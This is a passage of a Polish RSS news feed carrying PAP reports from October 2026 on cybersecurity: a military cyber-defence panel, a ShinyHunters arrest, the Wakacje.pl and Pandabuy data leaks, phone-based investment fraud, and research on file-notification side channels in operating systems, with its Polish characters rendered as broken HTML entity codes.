z na ich zabezpieczenie. Koniec, kropka. Jeand#380;eli ktoand#347; uwaand#380;a, and#380;e ma firmand#281; i wiand#281;cej musi zainwestowaand#263; w reklamand#281; czy marketing niand#380; w cyberbezpieczeand#324;stwo, to znaczy, and#380;e wszystkich swoich klientand#243;w wystawia na niebezpieczeand#324;stwo" - dodaand#322;. (PAP Biznes)
and#160;
and#160;
and#378;rodand#322;o PAP Biznes 5 paand#378;dziernik 2026and#160;and#160;tus/ gor/ ]]></description>
		</item><item>
			<title><![CDATA[ "Nie oczekujcie, że będziemy tylko tarczą". Ważne słowa polskiego generała ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1770</link>
			<description><![CDATA[ Dziaand#322;ania w cyberprzestrzeni wymagajand#261; dyskrecji, ale skuteczne odstraszanie przeciwnika oznacza rand#243;wnieand#380; pokazywanie wand#322;asnej siand#322;y - oceniand#322; podczas Forum Cyberbezpieczeand#324;stwa dowand#243;dca Komponentu Wojsk Obrony Cyberprzestrzeni gen. dyw. Mariusz Chmielewski. Podkreand#347;liand#322;, and#380;e obrona jest droand#380;sza i trudniejsza niand#380; atak.
and#160;





fot. FotoDax / /and#160;Shutterstock


and#160;
Z obserwacji polskich sand#322;uand#380;b i resortu cyfryzacji wynika, and#380;e grupy APT (Advanced Persistent Threat), ktand#243;re specjalizujand#261; siand#281; w dand#322;ugofalowych i zaawansowanych cyberatakach, czand#281;sto sand#261; powiand#261;zane ze sand#322;uand#380;bami wrogich paand#324;stw.
and#160;
Band#322;and#261;d z 2022 roku wciand#261;and#380; mand#347;ci siand#281; na Polsce. ABW ostrzega: Nie potrafimy siand#281; z tego wykopaand#263;
- Grupy te zmieniand#322;y sposand#243;b funkcjonowania po peand#322;noskalowej rosyjskiej inwazji na Ukrainand#281; w 2022 roku - mand#243;wiand#322; podczas Forum Cyberbezpieczeand#324;stwa zastand#281;pca szefa ABW pand#322;k Adam Ciszewski, ktand#243;ry wziand#261;and#322; udziaand#322; w panelu and#8222;Front, ktand#243;rego nie widaand#263; - cyberbezpieczeand#324;stwo RP na and#380;ywoand#187;. - Wczeand#347;niej ta aktywnoand#347;and#263; byand#322;a bardziej stabilna, dand#322;ugofalowa - dodaand#322;.
and#160;

Po 2022 roku to, co jest medialnie znane, kognitywna wojna nabraand#322;a rozpand#281;du. Wojny kinetycznej w Polsce nie mamy, natomiast wojna w cyberprzestrzeni niewand#261;tpliwie jest. I na dzisiaj te zaawansowane grupy Advanced Persistent Threat funkcjonujand#261; bardziej dynamicznie, sand#261; nastawione na konkretne cele - powiedziaand#322; pand#322;k Adam Ciszewski.

Oczywiand#347;cie w ich zainteresowaniu jest sektor pozawojskowy, co jest oczywiste, ale rand#243;wnieand#380; kwestie polityczne, infrastruktura krytyczna - dodaand#322;.
and#160;
Rosja uderza bezpoand#347;rednio, Chiny dziaand#322;ajand#261; w cieniu
Zdaniem pand#322;k. Ciszewskiego, mowa jest tu gand#322;and#243;wnie o grupach z Rosji i Biaand#322;orusi. Oceniand#322;, and#380;e grupy powiand#261;zane ze sand#322;uand#380;bami chiand#324;skimi funkcjonujand#261; odmiennie - dand#322;ugofalowo, bez okazywania and#380;adnych oznak swojego funkcjonowania.
Analizand#261;, zapobieganiem i koordynowaniem reakcji na cyberzagroand#380;enia zajmujand#261; siand#281; w Polsce CSIRT-y (Computer Security Incident Response Team, czyli Zespoand#322;y Reagowania na Incydenty Bezpieczeand#324;stwa Komputerowego. Ustawa o Krajowym Systemie Cyberbezpieczeand#324;stwa (UKSC) z 2018 r. ustanowiand#322;a trzy krajowe zespoand#322;y: CSIRT NASK, CSIRT GOV oraz CSIRT MON.
Dowand#243;dca Komponentu Wojsk Obrony Cyberprzestrzeni gen. dyw. Mariusz Chmielewski podkreand#347;liand#322;, and#380;e and#8222;wojsko, prowadzand#261;c operacje, bardzo czand#281;sto wymaga wsparcia wielu instytucji, ktand#243;re pomagajand#261;and#187;. Podaand#322; przykand#322;ad przerzutu sprzand#281;tu wojskowego dla Ukrainy.
- Cyberbezpieczeand#324;stwo jest bardzo ciand#281;and#380;kand#261; sprawand#261;, szczegand#243;lnie jeand#380;eli wchodzand#261; w grand#281; ustawowe przepisy dotyczand#261;ce przetargand#243;w, wyboru pewnych podmiotand#243;w, ktand#243;re uczestniczand#261;, i my jako paand#324;stwo nie jesteand#347;my w stanie tego kontrolowaand#263;, bo to nie my decydujemy o tym - powiedziaand#322; gen. Chmielewski. - Oczywiand#347;cie wojsko nie moand#380;e wchodziand#263; do firm cywilnych, wiand#281;c zaproponowaliand#347;my im partycypacjand#281; umownand#261;, czyli zaczand#281;liand#347;my podpisywaand#263; umowy, ktand#243;re pozwoliand#322;y nam dostarczyand#263; cyberbezpieczeand#324;stwo do tych podmiotand#243;w, de facto uczand#261;c je pewnych elementand#243;w - wyjaand#347;niand#322;.
Zastand#281;pca dyrektora NASK-PIB Adam Marczyand#324;ski mand#243;wiand#322; m.in. o funkcjonowaniu CSIRT-and#243;w w ramach rand#243;and#380;nych instytucji. Jego zdaniem and#8222;potrzebne sand#261; sand#322;uand#380;by, potrzebne jest wojsko i potrzebna jest dziaand#322;alnoand#347;and#263; cywilnaand#187;. Wskazaand#322; na rand#243;and#380;nice dziaand#322;aand#324; pomiand#281;dzy rand#243;and#380;nymi grupami cyberprzestand#281;pcand#243;w.



















Jak zauwaand#380;yand#322;, celem wiand#281;kszoand#347;ci grup cyberprzestand#281;pczych, jest zarobienie pieniand#281;dzy, podczas gdy "aktorzy paand#324;stwowi dziaand#322;ajand#261; z innej motywacji". - Choand#263; mamy przykand#322;ady Korei Pand#243;and#322;nocnej, gdzie aktorzy paand#324;stwowi rand#243;wnieand#380; bardzo chand#281;tnie zajmujand#261; siand#281; kradzieand#380;and#261; pieniand#281;dzy - zaznaczyand#322; Marczyand#324;ski.
and#160;
Cyberobrona jest droand#380;sza od ataku. Polskie wojsko stawia na odstraszanie przeciwnika
Gen. Chmielewski zaand#347; zwrand#243;ciand#322; uwagand#281;, and#380;e taand#324;sze jest dokonywanie cyberatakand#243;w niand#380; obrona przed nimi. - Cyberobrona jest droand#380;sza. Z punktu widzenia organizacji, uodparniania systemand#243;w, jest droand#380;sza. To jest trudniejsze do wykonania. Wiand#281;c tak, jak tutaj siedzimy, to wy nie oczekujcie od wojska, and#380;ebyand#347;my byli tylko tarczand#261; - podkreand#347;liand#322; generaand#322;.
Pand#322;k Adam Ciszewski z ABW przypomniaand#322; z kolei o nastand#281;pstwach przybycia do Polski fali uchodand#378;cand#243;w w 2022 roku, gdy istniaand#322;y bardzo duand#380;e uand#322;atwienia w rejestracji kart SIM do telefonand#243;w. - Na dzisiaj nie potrafimy siand#281; z tego and#8222;wykopaand#263;and#187; - mand#243;wiand#322;. Dodaand#322;, and#380;e Agencja bardzo blisko wspand#243;and#322;pracuje w tym zakresie m.in. z Urzand#281;dem Komunikacji Elektronicznej.
Dyskusja dotyczyand#322;a teand#380; m.in. tego, czy dziaand#322;ania polskich instytucji odpowiadajand#261;cych za cyberbezpieczeand#324;stwo and#8222;lubiand#261; ciszand#281;and#187;, czy teand#380; powinny pokazywaand#263; swojand#261; siand#322;and#281;, aby odstraszaand#263; potencjalnych przeciwnikand#243;w. Wynika z niej, and#380;e cyberbezpieczeand#324;stwo w wymiarze cyberwywiadowczym lubi ciszand#281;. Przy czym odstraszanie wroga polega teand#380; "na prand#281;and#380;eniu muskuand#322;".
and#160;





and#378;rodand#322;o PAP 4 paand#378;dziernik 2026and#160;and#160;mt/ ugw/ mhr/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Włamał się do FBI, teraz sypie kumpli. Wpadł potężny haker z grupy ShinyHunters ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1769</link>
			<description><![CDATA[ Waand#380;ny czand#322;onek grupy hakerskiej ShinyHunters, Saif al-Din Kader, podejrzewanej o wand#322;amanie do systemand#243;wand#160;FBI, zostaand#322; aresztowany w Jordanii i wspand#243;and#322;pracuje ze sand#322;uand#380;bami - przekazaand#322;a w sobotand#281; agencja Reutera, powoand#322;ujand#261;c siand#281; na and#378;rand#243;dand#322;a.
and#160;





fot. Afonkin_Y / /and#160;Shutterstock


and#160;
FBI nie chciaand#322;o odpowiedzieand#263; na pytania agencji Reutera, ale zapewniand#322;o, and#380;e pracuje wraz z partnerami nad sprawand#261; wand#322;amania do swoich systemand#243;w, o ktand#243;re podejrzewana jest grupa ShinyHunters.
Grupa znana jako ShinyHunters, ktand#243;ra zajmuje siand#281; wymuszeniami cyfrowymi, opublikowaand#322;a 29 wrzeand#347;nia w internecie komunikat, w ktand#243;rym przekazaand#322;a, and#380;e wand#322;amaand#322;a siand#281; do portalu rekrutacyjnego FBI i wykradand#322;a informacje dotyczand#261;ce and#8222;niemal wszystkich agentand#243;w FBI oraz osand#243;b, ktand#243;re zand#322;oand#380;yand#322;y podanie o pracand#281; w FBIand#8221;. Jak zauwaand#380;yand#322; dziennik and#8222;Washington Postand#8221;, portal w and#347;rodand#281; po poand#322;udniu byand#322; offline.
and#377;rand#243;dand#322;a Reutersa przekazaand#322;y, and#380;e Saif al-Din Kader zostaand#322; aresztowany przez jordaand#324;skie sand#322;uand#380;by. Dwa z trzech and#378;rand#243;deand#322;, chcand#261;cych zachowaand#263; anonimowoand#347;and#263;, podaand#322;y, and#380;e do zatrzymania doszand#322;o we wtorek.
and#160;
and#160;
and#378;rodand#322;o PAP 3 paand#378;dziernik 2026and#160; awm/ zm/ ]]></description>
		</item><item>
			<title><![CDATA[ Wielki wyciek ze znanego serwisu turystycznego. Wakacje.pl zaleca klientom zastrzeżenie PESEL-u ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1768</link>
			<description><![CDATA[ W serwisie turystycznym Wakacje.pl doszand#322;o do incydentu bezpieczeand#324;stwa, ktand#243;ry polegaand#322; na nieuprawnionym dostand#281;pie do czand#281;and#347;ci sand#322;uand#380;bowych skrzynek pocztowych oraz systemu obsand#322;ugi klientand#243;w - poinformowaand#322; serwis. Okolicznoand#347;ci zdarzenia analizowaand#263; majand#261; eksperci ds. cyberbezpieczeand#324;stwa.and#160;


and#160;





fot. Patryk Kosmider / /and#160;Shutterstock


and#160;
Serwis Wakacje.pl w komunikacie na swojej stronie internetowej poinformowaand#322;, and#380;e do wycieku doszand#322;o 29 wrzeand#347;nia. Wand#347;rand#243;d wykradzionych danych znalazand#322;y siand#281; potencjalnie adresy e-mail, imiona i nazwiska, numery telefonand#243;w, adresy, daty urodzenia oraz dane paszportowe klientand#243;w.
and#160;
Skutki cyberataku na platformand#281; rezerwacyjnand#261;. Systemy pand#322;atnoand#347;ci pozostaand#322;y bezpieczne









Serwis zapewniand#322;, and#380;e incydent nie dotyczyand#322; systemand#243;w pand#322;atnoand#347;ci Wakacje.pl. Dodaand#322;, and#380;e kaand#380;da osoba, ktand#243;rej dotyczyand#322; wyciek, otrzymaand#322;a informacjand#281; z zaleceniami, w tym z rekomendacjand#261; zastrzeand#380;enia numeru PESEL.and#160;
W komunikacie podkreand#347;lono, and#380;e zaraz po wykryciu incydentu uruchomione zostaand#322;y procedury bezpieczeand#324;stwa, a sprawand#281; przejand#281;li eksperci ds. cyberbezpieczeand#324;stwa.
and#160;

Pragniemy podkreand#347;liand#263;, and#380;e dane, do ktand#243;rych uzyskano dostand#281;p, nie pozwalajand#261; na zalogowanie siand#281; do Panelu Klienta na stronie Wakacje.pl i przez aplikacjand#281; Wakacje.pl. Zapewniamy rand#243;wnieand#380;, and#380;e incydent nie dotyczyand#322; systemand#243;w pand#322;atnoand#347;ci Wakacje.pl - napisano w komunikacie.

and#160;
Serwis apeluje o zastrzeand#380;enie numeru PESEL
Serwis zapewniand#322; ponadto, and#380;eand#160;incydent nie wpand#322;ynand#261;and#322; na bieand#380;and#261;ce rezerwacje. and#8222;Warto natomiast zachowaand#263; czujnoand#347;and#263; wobec wiadomoand#347;ci z proand#347;band#261; o pand#322;atnoand#347;ci lub zmianand#281; danych rezerwacji i weryfikowaand#263; je u swojego doradcy, poniewaand#380; atakujand#261;cy moand#380;e wykorzystaand#263; dane, do ktand#243;rych uzyskano dostand#281;p, do akcji prowadzand#261;cych do wyand#322;udzeand#324; pand#322;atnoand#347;ci, podszywajand#261;c siand#281; pod Wakacje.pland#8221; - ostrzegand#322; serwis.
Dodaand#322;, and#380;e o wyciekuand#160;poinformowanoand#160;zespand#243;and#322; reagowania na incydenty cyberbezpieczeand#324;stwa, ktand#243;ry dziaand#322;a wand#160;NASK, i Urzand#261;d Ochrony Danych Osobowych. Sprawa ma zostaand#263; takand#380;eand#160;zgand#322;oszonaand#160;do organand#243;w and#347;cigania.
W komunikacie serwis zaleciand#322; zachowanie szczegand#243;lnej ostroand#380;noand#347;ci podczas poand#322;and#261;czeand#324; telefonicznych z?nieznanych numerand#243;w oraz weryfikowaand#263; wszelkie prand#243;by, np. pod pretekstem zarzand#261;dzania rezerwacjand#261;. Serwis zaleciand#322; takand#380;e zastrzeand#380;enie numeru PESEL w aplikacji mObywatel lub na gov.pl oraz rozwaand#380;enie zastrzeand#380;enia paszportu. Dodatkowe pytania moand#380;na zadawaand#263; pod adresem: iodo@wakacje.pl.






















and#378;rodand#322;o PAP 3 paand#378;dziernik 2026and#160;mchom/ ugw/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ "Nie wyczerpano możliwości dowodowych". UODO krytykuje decyzję prokuratury ws. Pandabuy ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1767</link>
			<description><![CDATA[ Prezes UODO Mirosand#322;aw Wrand#243;blewski zawnioskowaand#322; do prokuratora generalnego Waldemara and#379;urka o podjand#281;cie na nowo postand#281;powania w sprawie wycieku danych z chiand#324;skiej platformy sprzedaand#380;owej Pandabuy w 2024 r. dotyczand#261;cego m.in. polskich obywateli. Dochodzenie w tej sprawie zostaand#322;o bowiem umorzone.
and#160;




and#160;

/and#160;Pandabuy.com


and#160;
O wniosku prezesa Wrand#243;blewskiego poinformowano we wtorek w komunikacie na stronie Urzand#281;du Ochrony Danych Osobowych. and#8222;W interesie publicznym, a zatem rand#243;wnieand#380; polskich organand#243;w and#347;cigania, jest and#347;ciganie osand#243;b, ktand#243;re w sposand#243;b nielegalny posand#322;ugujand#261; siand#281; danymi osobowymi obywateli RPand#187; - zacytowano prezesa Wrand#243;blewskiego w tym komunikacie.



and#160;



Jak dodano wedand#322;ug prezesa UODO organy and#347;cigania and#8222;nie wyczerpaand#322;y moand#380;liwoand#347;ci w poszukiwaniu and#347;rodkand#243;w dowodowych w tej sprawie, a co za tym idzie pozostajand#261; jeszcze niezbadane okolicznoand#347;ci, ktand#243;re mogand#322;yby mieand#263; wpand#322;yw na rozstrzygniand#281;cieand#187;.
and#160;
Dane 1,3 mln osand#243;b trafiand#322;y do sieci
Zawiadomienie o podejrzeniu popeand#322;nienia przestand#281;pstwa przez sprawcand#243;w publikacji danych polskich klientand#243;w platformy sprzedaand#380;owej pandabuy.com prezes UODO zand#322;oand#380;yand#322; jeszcze w kwietniu 2024 r. Trafiand#322;o ono wand#243;wczas do Prokuratury Rejonowej Warszawa and#346;rand#243;dmieand#347;cie-Pand#243;and#322;noc.
Jak wtedy informowano, w marcu 2024 r. w internecie udostand#281;pniono dane 1,3 mln klientand#243;w platformy z caand#322;ego and#347;wiata, w tym z Polski, pochodzand#261;ce z platformy pandabuy.com.
Zakres danych objand#281;tych wyciekiem obejmowaand#322;:

imiona i nazwiska,
adresy e-mail,
numery telefonand#243;w,
identyfikatory uand#380;ytkownikand#243;w,
adresy IP,
hasand#322;a,
adresy dostaw,
dane dotyczand#261;ce zamand#243;wieand#324; i pand#322;atnoand#347;ci.

Dane te posand#322;uand#380;yand#322;y autorom innej strony, utworzonej w poczand#261;tkach kwietnia 2024 r., do stworzenia interaktywnej mapy Polski, na ktand#243;rej zamieand#347;cili informacje odnoszand#261;ce siand#281; do polskich klientand#243;w tego serwisu, m.in. ich imiona i nazwiska oraz adresy dostawy. W kolejnych dniach strona ta byand#322;a niedostand#281;pna, ale interaktywna mapa z danymi pojawiaand#322;a siand#281; pod innymi adresami.
and#160;
Prokuratura odpuand#347;ciand#322;a, UODO nie rezygnuje
W ocenie prezesa UODO naruszony zostaand#322; art. 107 ust. 1 ustawy o ochronie danych osobowych, ktand#243;ry okreand#347;la, and#380;e and#8222;kto przetwarza dane osobowe, choand#263; ich przetwarzanie nie jest dopuszczalne albo do ich przetwarzania nie jest uprawniony, podlega grzywnie, karze ograniczenia wolnoand#347;ci albo pozbawienia wolnoand#347;ci do lat dwand#243;chand#187;.
Jednak w czerwcu 2024 r. prokuratura odmand#243;wiand#322;a wszczand#281;cia w tej sprawie and#347;ledztwa. Na tand#281; decyzjand#281; UODO zand#322;oand#380;yand#322; zaand#380;alenie do sand#261;du, ktand#243;ry jesieniand#261; 2024 r. je uwzgland#281;dniand#322;. Dochodzenie zostaand#322;o wszczand#281;te, ale rok pand#243;and#378;niej prokuratura je umorzyand#322;a - uznano, and#380;e brak jest dostatecznych danych uzasadniajand#261;cych podejrzenie popeand#322;nienia przestand#281;pstwa.
Jak poinformowano and#8222;nie mogand#261;c siand#281; zgodziand#263; z takim stanowiskiem, prezes UODO zaskarand#380;yand#322; je do Prokuratury Okrand#281;gowej w Warszawieand#187;. Jednak w tym roku prokuratura okrand#281;gowa postanowiand#322;a nie uwzgland#281;dniand#263; zaand#380;alenia prezesa Urzand#281;du.  

Teraz prezes UODO zwraca siand#281; z proand#347;band#261; do PG Waldemara and#379;urka o rozwaand#380;enie podjand#281;cia na nowo postand#281;powania przygotowawczego. Uzasadnia to m.in. tym, and#380;e w jego ocenie prowadzand#261;cy postand#281;powanie oraz prokurator Prokuratury Okrand#281;gowej w Warszawie zatwierdzajand#261;cy postanowienie oddalajand#261;ce zaand#380;alenie na postanowienie o umorzeniu dochodzenia, nie rozpatrzyand#322; w sposand#243;b wszechstronny caand#322;oand#347;ci materiaand#322;u dowodowego - czytamy w komunikacie.  

Zdaniem prezesa UODO m.in. nie podjand#281;to w wystarczajand#261;cym zakresie czynnoand#347;ci zmierzajand#261;cych do: ustalenia podmiotand#243;w rejestrujand#261;cych oraz administrujand#261;cych domenami, wyjaand#347;nienia okolicznoand#347;ci i kanaand#322;u, ktand#243;rym dane osobowe pochodzand#261;ce z wycieku u chiand#324;skiego operatora platformy trafiand#322;y w posiadanie osand#243;b tworzand#261;cych serwisy internetowe z danymi osobowymi polskich obywateli oraz przeprowadzenia analizy technicznej mogand#261;cej prowadziand#263; do ustalenia toand#380;samoand#347;ci sprawcand#243;w.
Z tych powodand#243;w, wedand#322;ug prezesa Wrand#243;blewskiego, organy and#347;cigania odstand#281;pujand#261;c od rozpoznania merytorycznego tej sprawy zdecydowaand#322;y o jej zakoand#324;czeniu jedynie na podstawie przesand#322;anek proceduralnych and#8211; co, w ocenie UODO, stanowi decyzjand#281; band#322;and#281;dnand#261;.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 3 paand#378;dziernik 2026 mja/ mro/ ]]></description>
		</item><item>
			<title><![CDATA[ Oszustwo inwestycyjne zaczyna się od telefonu. Cyberprzestępcy znają już twoje dane ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1766</link>
			<description><![CDATA[ Spoand#347;rand#243;d osand#243;b, ktand#243;re doand#347;wiadczyand#322;y kradzieand#380;y danych lub prand#243;by ich wyand#322;udzenia, 37 proc. zetknand#281;and#322;o siand#281; z tego typu oszustwem przez telefon -and#160;wynika z raportu serwisu ChronPESEL.pl i Krajowego Rejestru Dand#322;ugand#243;w.
and#160;




and#160;

fot. Pixel-Shot / /and#160;Shutterstock


and#160;
Autorzy raportu zwrand#243;cili uwagand#281;, and#380;e faand#322;szywe reklamy inwestycji z wizerunkami znanych osand#243;b czand#281;sto nie sand#322;uand#380;and#261; do natychmiastowej kradzieand#380;y pieniand#281;dzy, lecz do zdobycia imienia, nazwiska i numeru telefonu.
Ze zdobytymi w ten sposand#243;b danymi oszuand#347;ci dzwoniand#261; do ofiar, podajand#261;c siand#281; za doradcand#243;w i nakand#322;aniajand#261; je do wpand#322;acenia pieniand#281;dzy, podania kolejnych danych albo zainstalowania programu umoand#380;liwiajand#261;cego zdalny dostand#281;p do urzand#261;dzenia.




and#160;




Wedand#322;ug przytoczonych w raporcie danych CSIRT KNF (zespoand#322;u reagowania na incydenty bezpieczeand#324;stwa komputerowego dziaand#322;ajand#261;cego w strukturach Komisji Nadzoru Finansowego), ponad 96 proc. niebezpiecznych domen zgand#322;oszonych do blokady w 2025 r. dotyczyand#322;o faand#322;szywych inwestycji.
Z badania ChronPESEL.pl i KRD wynika z kolei, and#380;e 37 proc. osand#243;b, ktand#243;re doand#347;wiadczyand#322;y kradzieand#380;y danych lub prand#243;by ich wyand#322;udzenia, zetknand#281;and#322;o siand#281; z tego typu oszustwem przez telefon.
Eksperci wskazali, and#380;e peand#322;na skala zjawiska jest trudna do okreand#347;lenia, bo prand#243;by oszustw rzadko trafiajand#261; do oficjalnych statystyk. Wand#347;rand#243;d osand#243;b, ktand#243;re doand#347;wiadczyand#322;y prand#243;by wyand#322;udzenia danych, tylko 11 proc. zgand#322;osiand#322;o incydent na policjand#281; - wynika z badania.and#160;Tyle samo powiadomiand#322;o CERT Polska, a co trzecia osobaand#160;zgand#322;osiand#322;a sprawand#281; do banku lub innej instytucji, ktand#243;rej dotyczyand#322;a prand#243;ba.
Spoand#347;rand#243;d uczestnikand#243;wand#160;badania, ktand#243;rzy nie mieli takich doand#347;wiadczeand#324;,and#160;65 proc. zadeklarowaand#322;o, and#380;e zgand#322;osiand#322;oby takie zdarzenie na policjand#281;. 61 proc. zgand#322;osiand#322;oby sprawand#281; rand#243;wnieand#380; do banku lub innej instytucji. Jak zauwaand#380;yli autorzy badania, widaand#263; wiand#281;c znaczny rozdand#378;wiand#281;k miand#281;dzy deklaracjamiand#160;a rzeczywistymi dziaand#322;aniami.
and#160;
and#8222;Wiele osand#243;b uznaje, and#380;e skoro nie straciand#322;o pieniand#281;dzy, nie ma czego zgand#322;aszaand#263;. Tymczasem nieudana prand#243;ba to czand#281;sto dopiero pierwszy kontakt. Dane, ktand#243;re oszuand#347;ci juand#380; zdobyli, mogand#261; zostaand#263; wykorzystane ponownie albo sprzedane dalej. Zgand#322;oszenie pomaga zablokowaand#263; numer, domenand#281; czy konto, z ktand#243;rego korzystajand#261; cyberprzestand#281;pcyand#8221; and#8211; zauwaand#380;yand#322; Bartand#322;omiej Drozd, ekspert serwisu ChronPESEL.pl.
and#160;
W tego typu faand#322;szywych reklamach publikowanych w mediach spoand#322;ecznoand#347;ciowych cyberprzestand#281;pcy wykorzystujand#261; wizerunki przedsiand#281;biorcand#243;w, politykand#243;w, dziennikarzy, celebrytand#243;w czy sportowcand#243;w. Mogand#261; one przypominaand#263; artykuand#322;y renomowanych mediand#243;w lub nagrania pochodzand#261;ce z serwisand#243;w informacyjnych. Coraz czand#281;and#347;ciej pojawiajand#261; siand#281; rand#243;wnieand#380; deepfakeand#8217;i, w ktand#243;rych podrobiony wizerunek i gand#322;os majand#261; przekonaand#263; odbiorcand#281;, and#380;e rozpoznawalna osoba rzeczywiand#347;cie poleca danand#261; inwestycjand#281;.



















and#8222;Cyberprzestand#281;pcy wiedzand#261;, na jakand#261; ofertand#281; zareagowaand#322; rozmand#243;wca i jakie dane zostawiand#322; w formularzu. Mogand#261; wiand#281;c podczas rozmowy telefonicznej od razu nawiand#261;zaand#263; do konkretnej inwestycji i prowadziand#263; rozmowand#281; wedand#322;ug przygotowanego scenariusza. Dla wielu osand#243;b to znak, and#380;e wszystko jest w porzand#261;dku, bo przecieand#380; same siand#281; zgand#322;osiand#322;y. Zanim jednak przekaand#380;emy komukolwiek pieniand#261;dze, warto sprawdziand#263;, czy firma, na ktand#243;rand#261; powoand#322;uje siand#281; doradca, figuruje w wykazach KNF i nie ma jej na liand#347;cie ostrzeand#380;eand#324; publicznychand#8221; and#8211; radzi Drozd.
and#160;
Cyberprzestand#281;pcy kontaktujand#261; siand#281; z potencjalnymi ofiarami niezaleand#380;nie od ich wieku i wyksztaand#322;cenia. W grupie respondentand#243;w, ktand#243;rzy mieli do czynienia z kradzieand#380;and#261; danych osobowych lub prand#243;band#261; ich wyand#322;udzenia, telefon jako sposand#243;b dziaand#322;ania oszustand#243;w wskazaand#322;oand#160;48 proc. badanych z wyand#380;szym wyksztaand#322;ceniem.
W grupach z wyksztaand#322;ceniem and#347;rednim i policealnym oraz zasadniczym zawodowym odsetek ten wyniand#243;sand#322; po 32 proc., a wand#347;rand#243;d ankietowanych z wyksztaand#322;ceniem podstawowym lub gimnazjalnym and#8211; 28 proc.
Na kontakt telefoniczny wskazaand#322;o 44 proc. respondentand#243;w powyand#380;ej 65 lat,and#160;42 proc. w wieku 25-34 lata i 40 proc. miand#281;dzy 35and#160;a 44and#160;rokiem and#380;ycia. W najmand#322;odszej grupie odsetek ten wyniand#243;sand#322; 27 proc.





and#160;
and#8222;Faand#322;szywy doradca potrafi mand#243;wiand#263; pewnie i przekonujand#261;co, zapewniaand#263; o rosnand#261;cych zyskach oraz stopniowo nakand#322;aniaand#263; do kolejnych wpand#322;at. Wykorzystuje przy tym presjand#281; czasu i emocje zwiand#261;zane z obietnicand#261; wysokiego zarobku. W takiej sytuacji nawet osoba zwykle ostroand#380;na moand#380;e zbyt pand#243;and#378;no zorientowaand#263; siand#281;, and#380;e zostaand#322;a zmanipulowanaand#8221; and#8211; wskazaand#322; Drozd.
and#160;
Autorzy raportu podkreand#347;lili, and#380;e rozmowa z rzekomym doradcand#261; moand#380;e byand#263; poczand#261;tkiem trwajand#261;cej wiele tygodni manipulacji. and#8222;Cyberprzestand#281;pcy regularnie dzwoniand#261; do ofiary, pokazujand#261; jej pozorne zyski i stawiajand#261; kolejne warunki wypand#322;aty and#347;rodkand#243;w. Mogand#261; and#380;and#261;daand#263; dalszych przelewand#243;w pod pretekstem zapand#322;aty podatku, prowizji lub opand#322;aty za aktywacjand#281; konta, a takand#380;e domagaand#263; siand#281; dodatkowych danych albo dostand#281;pu do urzand#261;dzeniaand#8221; - wskazano w raporcie.
Eksperci zalecajand#261;, by kaand#380;dand#261; rozmowand#281;, podczas ktand#243;rej ktoand#347; wywiera presjand#281; na szybkie podjand#281;cie decyzji finansowej, natychmiast zakoand#324;czyand#263;. Nie naleand#380;y rand#243;wnieand#380; instalowaand#263; wskazanego oprogramowania, ujawniaand#263; danych logowania do bankowoand#347;ci elektronicznej ani podawaand#263; kodand#243;w autoryzacyjnych. Toand#380;samoand#347;and#263; dzwoniand#261;cego i przedstawionand#261; ofertand#281; warto zweryfikowaand#263; samodzielnie, korzystajand#261;c z danych kontaktowych znalezionych na oficjalnej stronie danej firmy lub instytucji.and#160;
Jeand#347;li doszand#322;o juand#380; do przekazania pieniand#281;dzy albo wraand#380;liwych informacji, naleand#380;y jak najszybciej skontaktowaand#263; siand#281; z bankiem, zmieniand#263; hasand#322;a, zastrzec numer PESEL i rozpoczand#261;and#263; regularne monitorowanie wykorzystania swoich danych w internecie. Jeand#380;eli oszustom udostand#281;pniono dowand#243;d osobisty, trzeba rand#243;wnieand#380; go zastrzec. Prand#243;band#281; oszustwa warto zgand#322;osiand#263; na policjand#281; oraz do CERT Polska za poand#347;rednictwem strony incydent.cert.pl and#8211; takand#380;e wtedy, gdy nie doszand#322;o do utraty and#347;rodkand#243;w.and#160;





Badanie and#8222;Polacy wobec cyberzagroand#380;eand#324; i wyand#322;udzeand#324; danychand#8221; zostaand#322;o przeprowadzone przez IMAS International we wrzeand#347;niu 2026 r. na zlecenie serwisu ChronPESEL.pl i Krajowego Rejestru Dand#322;ugand#243;wand#160;na prand#243;bie 1500 dorosand#322;ych Polakand#243;w.
and#160;
and#378;rodand#322;o PAP 3 paand#378;dziernik 2026 gkc/ mick/ ]]></description>
		</item><item>
			<title><![CDATA[ Windows, Linux, Android i macOS mają lukę. Można śledzić użytkowników bez uprawnień ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1765</link>
			<description><![CDATA[ Mechanizmy, ktand#243;re w Windowsie, Linuksie, Androidzie i macOS informujand#261; system o zmianach w plikach, mogand#261; sand#322;uand#380;yand#263; do and#347;ledzenia aktywnoand#347;ci uand#380;ytkownikand#243;w. Da siand#281; w ten sposand#243;b odtworzyand#263; czand#281;and#347;and#263; historii przegland#261;dania, obserwowaand#263; rytm pisania na klawiaturze czy wyand#347;wietliand#263; faand#322;szywe okno z proand#347;band#261; o hasand#322;o.
and#160;




and#160;

/and#160;Pexels


and#160;
Najmniej podatny na tego typu ataki okazaand#322; siand#281; macOS.
Wyniki badania, ktand#243;re to wykazaand#322;o, zostanand#261; zaprezentowane w listopadzie na konferencji ACM Conference on Computer and Communications Security w Hadze.
Jego autorami sand#261; naukowcy z Graz University of Technology (Austria). Przeanalizowali oni systemy powiadomieand#324; o plikach, wykorzystywane przez najpopularniejsze systemy operacyjne.
Jak wyjaand#347;nili, takie mechanizmy pozwalajand#261; aplikacjom i rand#243;and#380;nym elementom systemu na bieand#380;and#261;co wykrywaand#263;, and#380;e plik zostaand#322; utworzony, usuniand#281;ty, otwarty, zamkniand#281;ty albo zmodyfikowany. Dziand#281;ki temu program moand#380;e natychmiast zareagowaand#263; na zmianand#281;, bez ciand#261;gand#322;ego sprawdzania caand#322;ej zawartoand#347;ci dysku.

